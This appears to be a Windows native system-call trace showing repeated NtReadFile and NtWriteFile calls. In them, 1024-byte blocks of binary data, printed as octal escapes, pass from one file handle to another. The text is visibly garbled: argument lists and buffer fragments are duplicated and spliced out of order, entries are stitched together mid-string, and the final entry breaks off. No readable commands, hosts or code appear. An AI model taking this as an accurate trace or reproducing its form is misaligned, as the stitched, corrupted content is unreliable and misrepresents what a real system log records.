"\20\373\253\261%\377"-2\234I\236F\16\242\14\262C\362o9\246L8\304\275n*`\331s\2404B\245Q-}\275]\250>\265Y\257\214L\223@}\177\361q\2132)'')%+\207(.\21769\362%0\325\1\201\350\35Bk\324\232mt\336\6\202\4\217:t\343\302:9qt\300\11:\20\3745\2543\221+\367E2jkF"\231\7\304\303=<\372\33J\36\25X\255n\35\313\24d',\244\15\242+/m%\153n9x?\23664Ra\322\257\34\248a\17\36C>\32"\177l\325\344]'y)H\243\23\254j>n\320.\32c\267\3642W<\35J?\324\340\336\377BE\336\225z\310\336\2V\254\3323\23(7\325\16\366m,*\14370%\5429\370\262\304\31M?\370\33\36\36\37\3304###\342\0$e\327\14\12z,!\35\357\363\2616+6!"b\272;*\271>1>Y\32\26\335\34\25>9(\10$D"-\36- \5-*6\330\235\223\263\344\206\26473`;>\375,9\356\223\362\362\234}\1\306\303"C\4t\304'\354\300\374\317.\343\312-\366\226\3203T\25\3267\200\26181>8G\374\16\265B\256\204\357*\336b5\24uW\177y\302\370\14)N&1\21\2613\3177\275\317L4\271\300T\266/\37\30\10O\246w4\32\202%D\210f$h\10(\244\215$n\217\3600\2232\313 \216\279)j\323\355.\373"?\364Q/\2361\3367\213d\23g#\240\265\3\25038\352L6\25\233\22\361:6\31179\3103\205\374~\230E\225\37\225\336\241\253c\22:\254\240", ) \177l\325\344]'y)H\243\23\254j>n\320.\32c\267\3642W<\35J?\324\340\336\377BE\336\225z\310\336\2V\254\3323\23(7\325\16\366m,*\14370%\5429\370\262\304\31M?\370\33\36\36\37\3304###\342\0$e\327\14\12z,!\35\357\363\2616+6! (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\20\373\253\261%\377"-2\234I\236F\16\242\14\262C\362o9\246L8\304\275n*`\331s\2404B\245Q-}\275]\250>\265Y\257\214L\223@}\177\361q\2132)'')%+\207(.\21769\362%0\325\1\201\350\35Bk\324\232mt\336\6\202\4\217:t\343\302:9qt\300\11:\20\3745\2543\221+\367E2jkF"\231\7\304\303=<\372\33J\36\25X\255n\35\313\24d',\244\15\242+/m%\153n9x?\23664Ra\322\257\34\248a\17\36C>\32"\177l\325\344]'y)H\243\23\254j>n\320.\32c\267\3642W<\35J?\324\340\336\377BE\336\225z\310\336\2V\254\3323\23(7\325\16\366m,*\14370%\5429\370\262\304\31M?\370\33\36\36\37\3304###\342\0$e\327\14\12z,!\35\357\363\2616+6!"b\272;*\271>1>Y\32\26\335\34\25>9(\10$D"-\36- \5-*6\330\235\223\263\344\206\26473`;>\375,9\356\223\362\362\234}\1\306\303"C\4t\304'\354\300\374\317.\343\312-\366\226\3203T\25\3267\200\26181>8G\374\16\265B\256\204\357*\336b5\24uW\177y\302\370\14)N&1\21\2613\3177\275\317L4\271\300T\266/\37\30\10O\246w4\32\202%D\210f$h\10(\244\215$n\217\3600\2232\313 \216\279)j\323\355.\373"?\364Q/\2361\3367\213d\23g#\240\265\3\25038\352L6\25\233\22\361:6\31179\3103\205\374~\230E\225\37\225\336\241\253c\22:\254\240", ) -\36- \5-*6\330\235\223\263\344\206\26473`;>\375,9\356\223\362\362\234}\1\306\303 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\20\373\253\261%\377"-2\234I\236F\16\242\14\262C\362o9\246L8\304\275n*`\331s\2404B\245Q-}\275]\250>\265Y\257\214L\223@}\177\361q\2132)'')%+\207(.\21769\362%0\325\1\201\350\35Bk\324\232mt\336\6\202\4\217:t\343\302:9qt\300\11:\20\3745\2543\221+\367E2jkF"\231\7\304\303=<\372\33J\36\25X\255n\35\313\24d',\244\15\242+/m%\153n9x?\23664Ra\322\257\34\248a\17\36C>\32"\177l\325\344]'y)H\243\23\254j>n\320.\32c\267\3642W<\35J?\324\340\336\377BE\336\225z\310\336\2V\254\3323\23(7\325\16\366m,*\14370%\5429\370\262\304\31M?\370\33\36\36\37\3304###\342\0$e\327\14\12z,!\35\357\363\2616+6!"b\272;*\271>1>Y\32\26\335\34\25>9(\10$D"-\36- \5-*6\330\235\223\263\344\206\26473`;>\375,9\356\223\362\362\234}\1\306\303"C\4t\304'\354\300\374\317.\343\312-\366\226\3203T\25\3267\200\26181>8G\374\16\265B\256\204\357*\336b5\24uW\177y\302\370\14)N&1\21\2613\3177\275\317L4\271\300T\266/\37\30\10O\246w4\32\202%D\210f$h\10(\244\215$n\217\3600\2232\313 \216\279)j\323\355.\373"?\364Q/\2361\3367\213d\23g#\240\265\3\25038\352L6\25\233\22\361:6\31179\3103\205\374~\230E\225\37\225\336\241\253c\22:\254\240", ) ?\364Q/\2361\3367\213d\23g#\240\265\3\25038\352L6\25\233\22\361:6\31179\3103\205\374~\230E\225\37\225\336\241\253c\22:\254\240", ) == 0x0
 01193  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\363Y\263\22}^\214\220|`\32\317\16\306\363\203\250\303\212WR\240\220]\322?\\332\20Q\326\222qy\276\37@7\240\224\21{\233\222-\36dCV\355\262\362s\201\336\363\321h'\212\214\302\2347k\337M\26\313\17H\2450\213\335\5\12\23\243\274\246b\315Y\222L\5/\20\317\333@\215\211\256\236\6\360i\362\256\5\364k\364l\375\2061\332\233Y\235u!\335\356\341\332\326\214\263Q-^\264z\334\225\331I\243\271\7\211\360\257\315)3\370a\265\M\215\371\274A\250pN\333\200+\257S\231+\23pe\3538\307\27\22\354\272\260\264\310\253V\376>\321\15G\226Q\262\13yE\225\333\256.\343\344\376\302\247\312'3\34\261\327\145\33\204\2515\332&\30a\242\304\15\320I\264\224\6\344$\15j\253s\3\216\310\3105NR\34\4\22W\321\365~\256f\324\363\333\321y^\265Zdi-F\222\220T\246\4\313\341\14R Y\241Nz\267\370twO\252\212\336Q\276K\3104\345\2739\34\201\260L6\200z\37\333G\217\304\272a;\312\223gr\373\35\2719)j>&'!~\16\226,m?uLq\374A\240\362P\211o\362$%\315\25b0\242?\233@\376\334\5\4\236@n\346\243}\3\307\240\213\205\177\232\352E\370\2725\22Ej\212\2\177\353\22A\247\311\332\333\262\\20+\273\247\366\343E\277\244\2t\310gB\2\350l<\372N\207dv\22R\256\237\372\232\200J)\325\242+Si\312\257r\277\212\13\14V\262\243\241\220?\16B\366\34\34{\304+\217\256\354\4\224o-\320w`'\31\256\317\26i\257\6\324\347N.y$A\306OR\344mtHe\271\306\12\250|ra\250m\36\305n\203\6c\334K+i29\177/\243\210\35P\355\3137 \245", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01194  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "e.Z+[HYU\336<7RcPz\3279T\6\13v-\366\334##\252':\305`\34 ))J\315->/3^\223\3224$64E\335:\276\330=\224\262\377\34\210\372\37\275\305"\206\300%\214\212\314)\237\317,\220\312/\365\3252\231\371\3216\342\3349\347\337<\330\332?1\361\371\36\352\304!\337\307$ \325\347$\12 {\3047\371\217'1\257\2431U#?--2\310<\253\327\37\357\35.K\4\325n\6\224!\232\246\3\244\247;Y\305\216$\3415\322<\226U4\262\370L<\255\264O\24\337od\15\275\257!3W#>%3;nn\247j\323=\25\337L\204\262\262(jh\367\2108\262g\26\302:x\276u\260\207n\33\243`\225Uq\244Vf\253[{d\305\337C\262\5\15\365\14\32014<\376\2\372\13.\276C5\343\25\23j&\240\16\233\2441pb\251\5"\3530&\306t\362:\36b\364>\22\274\367y?\347|,27\363h$\236\266\253\354\312Ou\347'\354\300M\352*\247\355\272\177\264\331hp6\21f\337hz8k\4m\326y]\33!]\35\324\33\335\31"\36*\34(>\217\27\13\25\34\131w\10~\16y\14d\2:\257\7\205\5\367 \364&\36\361\33\325\31\331\37%''\24/\26'\20\11\22\10\15\6\17\16\11v\13~9\6w\0o\2g'B\15\351\317\253\352\1\346\7!\351,\231\2216(\355\240\242/2I\226Y\343\276\341\2748\370\373\323%\374\3378\20\34\334\35\330\253\351\1\363\323\5\367\4\343"\340\13/\15-/\372\274\246\32b\202\361\3378\262\360\372\325)\377\335\27\370\35\227\373 \213\243\307$\\302'Y\315*B\310-\204N\3241k\3274d\3227q\335:\221}\331>\6", ) \206\300%\214\212\314)\237\317,\220\312/\365\3252\231\371\3216\342\3349\347\337<\330\332?1\361\371\36\352\304!\337\307$ \325\347$\12 {\3047\371\217'1\257\2431U#?--2\310<\253\327\37\357\35.K\4\325n\6\224!\232\246\3\244\247;Y\305\216$\3415\322<\226U4\262\370L<\255\264O\24\337od\15\275\257!3W#>%3;nn\247j\323=\25\337L\204\262\262(jh\367\2108\262g\26\302:x\276u\260\207n\33\243`\225Uq\244Vf\253[{d\305\337C\262\5\15\365\14\32014<\376\2\372\13.\276C5\343\25\23j&\240\16\233\2441pb\251\5 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "e.Z+[HYU\336<7RcPz\3279T\6\13v-\366\334##\252':\305`\34 ))J\315->/3^\223\3224$64E\335:\276\330=\224\262\377\34\210\372\37\275\305"\206\300%\214\212\314)\237\317,\220\312/\365\3252\231\371\3216\342\3349\347\337<\330\332?1\361\371\36\352\304!\337\307$ \325\347$\12 {\3047\371\217'1\257\2431U#?--2\310<\253\327\37\357\35.K\4\325n\6\224!\232\246\3\244\247;Y\305\216$\3415\322<\226U4\262\370L<\255\264O\24\337od\15\275\257!3W#>%3;nn\247j\323=\25\337L\204\262\262(jh\367\2108\262g\26\302:x\276u\260\207n\33\243`\225Uq\244Vf\253[{d\305\337C\262\5\15\365\14\32014<\376\2\372\13.\276C5\343\25\23j&\240\16\233\2441pb\251\5"\3530&\306t\362:\36b\364>\22\274\367y?\347|,27\363h$\236\266\253\354\312Ou\347'\354\300M\352*\247\355\272\177\264\331hp6\21f\337hz8k\4m\326y]\33!]\35\324\33\335\31"\36*\34(>\217\27\13\25\34\131w\10~\16y\14d\2:\257\7\205\5\367 \364&\36\361\33\325\31\331\37%''\24/\26'\20\11\22\10\15\6\17\16\11v\13~9\6w\0o\2g'B\15\351\317\253\352\1\346\7!\351,\231\2216(\355\240\242/2I\226Y\343\276\341\2748\370\373\323%\374\3378\20\34\334\35\330\253\351\1\363\323\5\367\4\343"\340\13/\15-/\372\274\246\32b\202\361\3378\262\360\372\325)\377\335\27\370\35\227\373 \213\243\307$\\302'Y\315*B\310-\204N\3241k\3274d\3227q\335:\221}\331>\6", ) \36*\34(>\217\27\13\25\34\131w\10~\16y\14d\2:\257\7\205\5\367 \364&\36\361\33\325\31\331\37%''\24/\26'\20\11\22\10\15\6\17\16\11v\13~9\6w\0o\2g'B\15\351\317\253\352\1\346\7!\351,\231\2216(\355\240\242/2I\226Y\343\276\341\2748\370\373\323%\374\3378\20\34\334\35\330\253\351\1\363\323\5\367\4\343 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "e.Z+[HYU\336<7RcPz\3279T\6\13v-\366\334##\252':\305`\34 ))J\315->/3^\223\3224$64E\335:\276\330=\224\262\377\34\210\372\37\275\305"\206\300%\214\212\314)\237\317,\220\312/\365\3252\231\371\3216\342\3349\347\337<\330\332?1\361\371\36\352\304!\337\307$ \325\347$\12 {\3047\371\217'1\257\2431U#?--2\310<\253\327\37\357\35.K\4\325n\6\224!\232\246\3\244\247;Y\305\216$\3415\322<\226U4\262\370L<\255\264O\24\337od\15\275\257!3W#>%3;nn\247j\323=\25\337L\204\262\262(jh\367\2108\262g\26\302:x\276u\260\207n\33\243`\225Uq\244Vf\253[{d\305\337C\262\5\15\365\14\32014<\376\2\372\13.\276C5\343\25\23j&\240\16\233\2441pb\251\5"\3530&\306t\362:\36b\364>\22\274\367y?\347|,27\363h$\236\266\253\354\312Ou\347'\354\300M\352*\247\355\272\177\264\331hp6\21f\337hz8k\4m\326y]\33!]\35\324\33\335\31"\36*\34(>\217\27\13\25\34\131w\10~\16y\14d\2:\257\7\205\5\367 \364&\36\361\33\325\31\331\37%''\24/\26'\20\11\22\10\15\6\17\16\11v\13~9\6w\0o\2g'B\15\351\317\253\352\1\346\7!\351,\231\2216(\355\240\242/2I\226Y\343\276\341\2748\370\373\323%\374\3378\20\34\334\35\330\253\351\1\363\323\5\367\4\343"\340\13/\15-/\372\274\246\32b\202\361\3378\262\360\372\325)\377\335\27\370\35\227\373 \213\243\307$\\302'Y\315*B\310-\204N\3241k\3274d\3227q\335:\221}\331>\6", ) , ) == 0x0
 01195  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\275\370\10R3o47+E*Bw\322\375\351\331\337"\272\204L6\342\375\23Mf\241\255b\274\302\313\3424\25\344\310!\201\245K\346\4\205\0\2604\304\274\201\320w,\214\252\223\245KI\373\220vZ\25\27?L\201\241&6\3\345\200"\246\375\364{WC\345Z\200Y\370=<\14\2110\23q\241\225\354\148eJ&A\251\214\251\312}S\202\21\221\344\202\350c\350\261\260}\246\272\200\305\12\353\337\275$\214c\32\350\277\305Q\325_d&$p\232Le\370\371lFQYR\201\240\262\35#(\2o\3725\200\240\30\315\303\102\277\225@\246\230!\34\223>\217\2051\352]\275\177W\353L\303q\11h#\2044\3143\306\363\333#\\271\232\365RL:\343\240<\262\6\243:\22\250<\224,\222\21\320\223\346\4\21/\363\202\331\254GE\362\23\243\353m\320CX{\332\341\17H\350\213zC\231\300\201\323\236\272^\32\332O\316\241\321\360\253\231\217\251\202\300m\300\272\32\336 C\3756\303U\276\342Qk\226sdXs\20d\215\263yg\360m8\3020\260;\327\163\6\213\177\222\334\344B\207\305"\214\10\32\271\3\20\340\256\240\267P<\15v:\30\364u4Q\220\255\30\300\336&!\223\324\316\30\363\306\263X9\0~\32\25\315\344\353\275\216V\\7%\14Z\246\221\246\262\2\273l\221\217Qn\23\356\307Y\202\22\205\342\356\363\325\21K\31\210\271\242\351\201\34\242_\263\257\34\0\245\371\231Ln\252\305\350#\256j\f\365\204\260\361;\362\265\356s\213\233\257/Ex\243\215yy\313\25\273j^\220~\234M\202[\255\305\254Qi\270\27\244\304\14\207;R\344\352\273D+\256\3301N\356\351\306}\3762\253\315\313\354\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \272\204L6\342\375\23Mf\241\255b\274\302\313\3424\25\344\310!\201\245K\346\4\205\0\2604\304\274\201\320w,\214\252\223\245KI\373\220vZ\25\27?L\201\241&6\3\345\200 (92, 0, 0, 0, "\275\370\10R3o47+E*Bw\322\375\351\331\337"\272\204L6\342\375\23Mf\241\255b\274\302\313\3424\25\344\310!\201\245K\346\4\205\0\2604\304\274\201\320w,\214\252\223\245KI\373\220vZ\25\27?L\201\241&6\3\345\200"\246\375\364{WC\345Z\200Y\370=<\14\2110\23q\241\225\354\148eJ&A\251\214\251\312}S\202\21\221\344\202\350c\350\261\260}\246\272\200\305\12\353\337\275$\214c\32\350\277\305Q\325_d&$p\232Le\370\371lFQYR\201\240\262\35#(\2o\3725\200\240\30\315\303\102\277\225@\246\230!\34\223>\217\2051\352]\275\177W\353L\303q\11h#\2044\3143\306\363\333#\\271\232\365RL:\343\240<\262\6\243:\22\250<\224,\222\21\320\223\346\4\21/\363\202\331\254GE\362\23\243\353m\320CX{\332\341\17H\350\213zC\231\300\201\323\236\272^\32\332O\316\241\321\360\253\231\217\251\202\300m\300\272\32\336 C\3756\303U\276\342Qk\226sdXs\20d\215\263yg\360m8\3020\260;\327\163\6\213\177\222\334\344B\207\305"\214\10\32\271\3\20\340\256\240\267P<\15v:\30\364u4Q\220\255\30\300\336&!\223\324\316\30\363\306\263X9\0~\32\25\315\344\353\275\216V\\7%\14Z\246\221\246\262\2\273l\221\217Qn\23\356\307Y\202\22\205\342\356\363\325\21K\31\210\271\242\351\201\34\242_\263\257\34\0\245\371\231Ln\252\305\350#\256j\f\365\204\260\361;\362\265\356s\213\233\257/Ex\243\215yy\313\25\273j^\220~\234M\202[\255\305\254Qi\270\27\244\304\14\207;R\344\352\273D+\256\3301N\356\351\306}\3762\253\315\313\354\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \214\10\32\271\3\20\340\256\240\267P<\15v:\30\364u4Q\220\255\30\300\336&241\32~\6\314\12\252\324n\246v\345>!\223\324\316\30\363\306\263X9\0~\32\25\315\344\353\275\216V\\7%\14Z\246\221\246\262\2\273l\221\217Qn\23\356\307Y\202\22\205\342\356\363\325\21K\31\210\271\242\351\201\34\242_\263\257\34\0\245\371\231Ln\252\305\350#\256j\f\365\204\260\361;\362\265\356s\213\233\257/Ex\243\215yy\313\25\273j^\220~\234M\202[\255\305\254Qi\270\27\244\304\14\207;R\344\352\273D+\256\3301N\356\351\306}\3762\253\315\313\354\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01196  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\216\2gb\25w#\214)*(\25C" \275\247\272\177\12aV\241\\7V\33\252\265B\1\237\374\210\212!\274\201\267\253\210\33\222G\275\355\24\347\14\270\246\363\16\325\322\247\300\13\312\227\254\2616\4(]\252\33$0=\212\227\34\36f\303\267q\31{\210\272\242G\23YN\246\20'\23(\24#\3h9m\304\357\276\306;o\32\335AA\22\341y\340\244c\2079,\177{\353.\36\374\24\366>\262\247\366jh\275\372b\231+9\342\27;\233>NK\224\214\5\240;$$p\252]h|K\13L\351\1n[3\3336\224\345\222\273\376\6hl\230v\277\32\333\262\16\20 \2057u\314\362\206+\&\342}\304\347\353/E\302=E851\26\254\306;q~lom\220Q\25\26\224u\201`3\324*\227'9\240o\250\352i~y\317$0\3175\33}?\273\3756j8\325 ?sC\224u\27~\241\177\20\344~\247\343\14)Z+\357\26\353Z\31\274Lw4\214>7;\207\332nx=>>\350\271\271\225L(Qp\313\325\266)\177(\263\11<]%-z^\3218e]PAsw_yWT?s4\31HFw\225@"R\3\32\55\220+\267K+^Y[_y_T\5uT|}kt~p\16\36\155xqr\177\33#U\207WU\6dZ&\20"z\315&\370\331\33\265\2635e\21\206\5\275\372N$\3779\314\13<\3346\226\225\221"\301\14\24x\261m9'\303\314RNp|\25Rb04:\337\367:;s8<<+\363\242\36\37/$ #\313\211|"\254\340\242r\362/\375k,#2\3%7%\6\276\11\262\17\11;\355<\266j\14\31\225*\31\340"\252U-b\254\35k#\242]!\237+\273\23\372*", )  \275\247\272\177\12aV\241\\7V\33\252\265B\1\237\374\210\212!\274\201\267\253\210\33\222G\275\355\24\347\14\270\246\363\16\325\322\247\300\13\312\227\254\2616\4(]\252\33$0=\212\227\34\36f\303\267q\31{\210\272\242G\23YN\246\20'\23(\24#\3h9m\304\357\276\306;o\32\335AA\22\341y\340\244c\2079,\177{\353.\36\374\24\366>\262\247\366jh\275\372b\231+9\342\27;\233>NK\224\214\5\240;$$p\252]h|K\13L\351\1n[3\3336\224\345\222\273\376\6hl\230v\277\32\333\262\16\20 \2057u\314\362\206+\&\342}\304\347\353/E\302=E851\26\254\306;q~lom\220Q\25\26\224u\201`3\324*\227'9\240o\250\352i~y\317$0\3175\33}?\273\3756j8\325 ?sC\224u\27~\241\177\20\344~\247\343\14)Z+\357\26\353Z\31\274Lw4\214>7;\207\332nx=>>\350\271\271\225L(Qp\313\325\266)\177(\263\11<]%-z^\3218e]PAsw_yWT?s4\31HFw\225@ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\216\2gb\25w#\214)*(\25C" \275\247\272\177\12aV\241\\7V\33\252\265B\1\237\374\210\212!\274\201\267\253\210\33\222G\275\355\24\347\14\270\246\363\16\325\322\247\300\13\312\227\254\2616\4(]\252\33$0=\212\227\34\36f\303\267q\31{\210\272\242G\23YN\246\20'\23(\24#\3h9m\304\357\276\306;o\32\335AA\22\341y\340\244c\2079,\177{\353.\36\374\24\366>\262\247\366jh\275\372b\231+9\342\27;\233>NK\224\214\5\240;$$p\252]h|K\13L\351\1n[3\3336\224\345\222\273\376\6hl\230v\277\32\333\262\16\20 \2057u\314\362\206+\&\342}\304\347\353/E\302=E851\26\254\306;q~lom\220Q\25\26\224u\201`3\324*\227'9\240o\250\352i~y\317$0\3175\33}?\273\3756j8\325 ?sC\224u\27~\241\177\20\344~\247\343\14)Z+\357\26\353Z\31\274Lw4\214>7;\207\332nx=>>\350\271\271\225L(Qp\313\325\266)\177(\263\11<]%-z^\3218e]PAsw_yWT?s4\31HFw\225@"R\3\32\55\220+\267K+^Y[_y_T\5uT|}kt~p\16\36\155xqr\177\33#U\207WU\6dZ&\20"z\315&\370\331\33\265\2635e\21\206\5\275\372N$\3779\314\13<\3346\226\225\221"\301\14\24x\261m9'\303\314RNp|\25Rb04:\337\367:;s8<<+\363\242\36\37/$ #\313\211|"\254\340\242r\362/\375k,#2\3%7%\6\276\11\262\17\11;\355<\266j\14\31\225*\31\340"\252U-b\254\35k#\242]!\237+\273\23\372*", ) z\315&\370\331\33\265\2635e\21\206\5\275\372N$\3779\314\13<\3346\226\225\221 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\216\2gb\25w#\214)*(\25C" \275\247\272\177\12aV\241\\7V\33\252\265B\1\237\374\210\212!\274\201\267\253\210\33\222G\275\355\24\347\14\270\246\363\16\325\322\247\300\13\312\227\254\2616\4(]\252\33$0=\212\227\34\36f\303\267q\31{\210\272\242G\23YN\246\20'\23(\24#\3h9m\304\357\276\306;o\32\335AA\22\341y\340\244c\2079,\177{\353.\36\374\24\366>\262\247\366jh\275\372b\231+9\342\27;\233>NK\224\214\5\240;$$p\252]h|K\13L\351\1n[3\3336\224\345\222\273\376\6hl\230v\277\32\333\262\16\20 \2057u\314\362\206+\&\342}\304\347\353/E\302=E851\26\254\306;q~lom\220Q\25\26\224u\201`3\324*\227'9\240o\250\352i~y\317$0\3175\33}?\273\3756j8\325 ?sC\224u\27~\241\177\20\344~\247\343\14)Z+\357\26\353Z\31\274Lw4\214>7;\207\332nx=>>\350\271\271\225L(Qp\313\325\266)\177(\263\11<]%-z^\3218e]PAsw_yWT?s4\31HFw\225@"R\3\32\55\220+\267K+^Y[_y_T\5uT|}kt~p\16\36\155xqr\177\33#U\207WU\6dZ&\20"z\315&\370\331\33\265\2635e\21\206\5\275\372N$\3779\314\13<\3346\226\225\221"\301\14\24x\261m9'\303\314RNp|\25Rb04:\337\367:;s8<<+\363\242\36\37/$ #\313\211|"\254\340\242r\362/\375k,#2\3%7%\6\276\11\262\17\11;\355<\266j\14\31\225*\31\340"\252U-b\254\35k#\242]!\237+\273\23\372*", ) \254\340\242r\362/\375k,#2\3%7%\6\276\11\262\17\11;\355<\266j\14\31\225*\31\340 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\216\2gb\25w#\214)*(\25C" \275\247\272\177\12aV\241\\7V\33\252\265B\1\237\374\210\212!\274\201\267\253\210\33\222G\275\355\24\347\14\270\246\363\16\325\322\247\300\13\312\227\254\2616\4(]\252\33$0=\212\227\34\36f\303\267q\31{\210\272\242G\23YN\246\20'\23(\24#\3h9m\304\357\276\306;o\32\335AA\22\341y\340\244c\2079,\177{\353.\36\374\24\366>\262\247\366jh\275\372b\231+9\342\27;\233>NK\224\214\5\240;$$p\252]h|K\13L\351\1n[3\3336\224\345\222\273\376\6hl\230v\277\32\333\262\16\20 \2057u\314\362\206+\&\342}\304\347\353/E\302=E851\26\254\306;q~lom\220Q\25\26\224u\201`3\324*\227'9\240o\250\352i~y\317$0\3175\33}?\273\3756j8\325 ?sC\224u\27~\241\177\20\344~\247\343\14)Z+\357\26\353Z\31\274Lw4\214>7;\207\332nx=>>\350\271\271\225L(Qp\313\325\266)\177(\263\11<]%-z^\3218e]PAsw_yWT?s4\31HFw\225@"R\3\32\55\220+\267K+^Y[_y_T\5uT|}kt~p\16\36\155xqr\177\33#U\207WU\6dZ&\20"z\315&\370\331\33\265\2635e\21\206\5\275\372N$\3779\314\13<\3346\226\225\221"\301\14\24x\261m9'\303\314RNp|\25Rb04:\337\367:;s8<<+\363\242\36\37/$ #\313\211|"\254\340\242r\362/\375k,#2\3%7%\6\276\11\262\17\11;\355<\266j\14\31\225*\31\340"\252U-b\254\35k#\242]!\237+\273\23\372*", ) , ) == 0x0
 01197  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\350\266O*\231K\325BY\207\3274\360\350\367\311\370\356\354\327\326\235\210Zf:\372~m\375\231@K\224D>\6#C\345<\321"\233\253\237\2175\356\206\343\277vl\367\4\220\314\1d\3448\363gb\266\315\316\220\365D\266L\225(,\321\232\263\2216:\201\300\235\246o\20W~Je%\263\274\217#l\233\347N\270\234\333\265\223\317\253\236\364{\316\236$\241~\3332\232`\3136\370\212\27\307C\250\7%L\231T\274dW+ \350\320/\257\311+,\22\263\303j\313\364{\365>\236\22\347\326\305\265\3\275Mi\200\177ZSL\211\326\215_\250?\221\207\334L"\235\320\314\11\244\242]`q\314X'\302\27\245\361\205\331\210O\270\236\231Z\16Y\22\332\311\371N$\251\335\273\1\300>\256z9~\23w\274jR\264\324\2313\340H\304r\23=l,5\254\0\261\21Z$\4\271\2553]\246T;\302\221s\244u\341\312\2\255\1007\371 \271\360\367]\221\270{\257;\313KA8We\361\352Z\377~x\3g\217\260\302\214\24L(\336 C\266\343\341\245\26}\233\207\1J\227\307\22\305f\216\210\3\11\177\23\203SK\206\25A=\377\3653\331\344Mm\363\244y\270\16D$9TY\10\136"5Kr\211\7\314H\262h\27\177\217\274y+\2741\324\14m\1Ce\6XM\3150e\16\374\337OR@\323\246\276\223RbKA\202?_\252\303\236\345H\334\2\15\222o|,?\322\326\\352\271W\256\34H\30\364\215\347p\330o\2360\367\371\347\3739N6e\374\360\255\223\215\211\2249\224\274\35\344OR7\352\11\22`\260\3746i\301`\256V0\374\3053 \245S\213\11\11\35r`{\322/\313\244\26j\314\267\354p\240\275\266ML\341\337\205\263\224)/\333\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \233\253\237\2175\356\206\343\277vl\367\4\220\314\1d\3448\363gb\266\315\316\220\365D\266L\225(,\321\232\263\2216:\201\300\235\246o\20W~Je%\263\274\217#l\233\347N\270\234\333\265\223\317\253\236\364{\316\236$\241~\3332\232`\3136\370\212\27\307C\250\7%L\231T\274dW+ \350\320/\257\311+,\22\263\303j\313\364{\365>\236\22\347\326\305\265\3\275Mi\200\177ZSL\211\326\215_\250?\221\207\334L (92, 0, 0, 0, "\350\266O*\231K\325BY\207\3274\360\350\367\311\370\356\354\327\326\235\210Zf:\372~m\375\231@K\224D>\6#C\345<\321"\233\253\237\2175\356\206\343\277vl\367\4\220\314\1d\3448\363gb\266\315\316\220\365D\266L\225(,\321\232\263\2216:\201\300\235\246o\20W~Je%\263\274\217#l\233\347N\270\234\333\265\223\317\253\236\364{\316\236$\241~\3332\232`\3136\370\212\27\307C\250\7%L\231T\274dW+ \350\320/\257\311+,\22\263\303j\313\364{\365>\236\22\347\326\305\265\3\275Mi\200\177ZSL\211\326\215_\250?\221\207\334L"\235\320\314\11\244\242]`q\314X'\302\27\245\361\205\331\210O\270\236\231Z\16Y\22\332\311\371N$\251\335\273\1\300>\256z9~\23w\274jR\264\324\2313\340H\304r\23=l,5\254\0\261\21Z$\4\271\2553]\246T;\302\221s\244u\341\312\2\255\1007\371 \271\360\367]\221\270{\257;\313KA8We\361\352Z\377~x\3g\217\260\302\214\24L(\336 C\266\343\341\245\26}\233\207\1J\227\307\22\305f\216\210\3\11\177\23\203SK\206\25A=\377\3653\331\344Mm\363\244y\270\16D$9TY\10\136"5Kr\211\7\314H\262h\27\177\217\274y+\2741\324\14m\1Ce\6XM\3150e\16\374\337OR@\323\246\276\223RbKA\202?_\252\303\236\345H\334\2\15\222o|,?\322\326\\352\271W\256\34H\30\364\215\347p\330o\2360\367\371\347\3739N6e\374\360\255\223\215\211\2249\224\274\35\344OR7\352\11\22`\260\3746i\301`\256V0\374\3053 \245S\213\11\11\35r`{\322/\313\244\26j\314\267\354p\240\275\266ML\341\337\205\263\224)/\333\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 5Kr\211\7\314H\262h\27\177\217\274y+\2741\324\14m\1Ce\6XM\3150e\16\374\337OR@\323\246\276\223RbKA\202?_\252\303\236\345H\334\2\15\222o|,?\322\326\\352\271W\256\34H\30\364\215\347p\330o\2360\367\371\347\3739N6e\374\360\255\223\215\211\2249\224\274\35\344OR7\352\11\22`\260\3746i\301`\256V0\374\3053 \245S\213\11\11\35r`{\322/\313\244\26j\314\267\354p\240\275\266ML\341\337\205\263\224)/\333\333", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01198  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "$\10<\21\15}(R.I, @\21[\27[\25\266\33)\207\30\222\36\340\34\325\22\331\7\304\5\311\13<\163\271\11\264\317\20\361)\355+\0\16\27\260\21\377T,\1\37*\4\32\26\30o\6y\43z\3c\1r1r\223\211<\321P\13c\3737Je2\336\27\320(\356*\354,\352.\352 \275\256\17<\357&}\330\252\7\362<\277\212\3640\11\37139\325\342\357G%\333\26\370\153j\202L4\32O\27\21**#.\20\14\264q>\333\17\68\231\2:\212\7\342\53'5!\36V\34H\36\257\30\364\32\247\215\24\333\26;\23\27O\274;\355S-\325\3269\314;:8<\15:\17\23,\21.\17 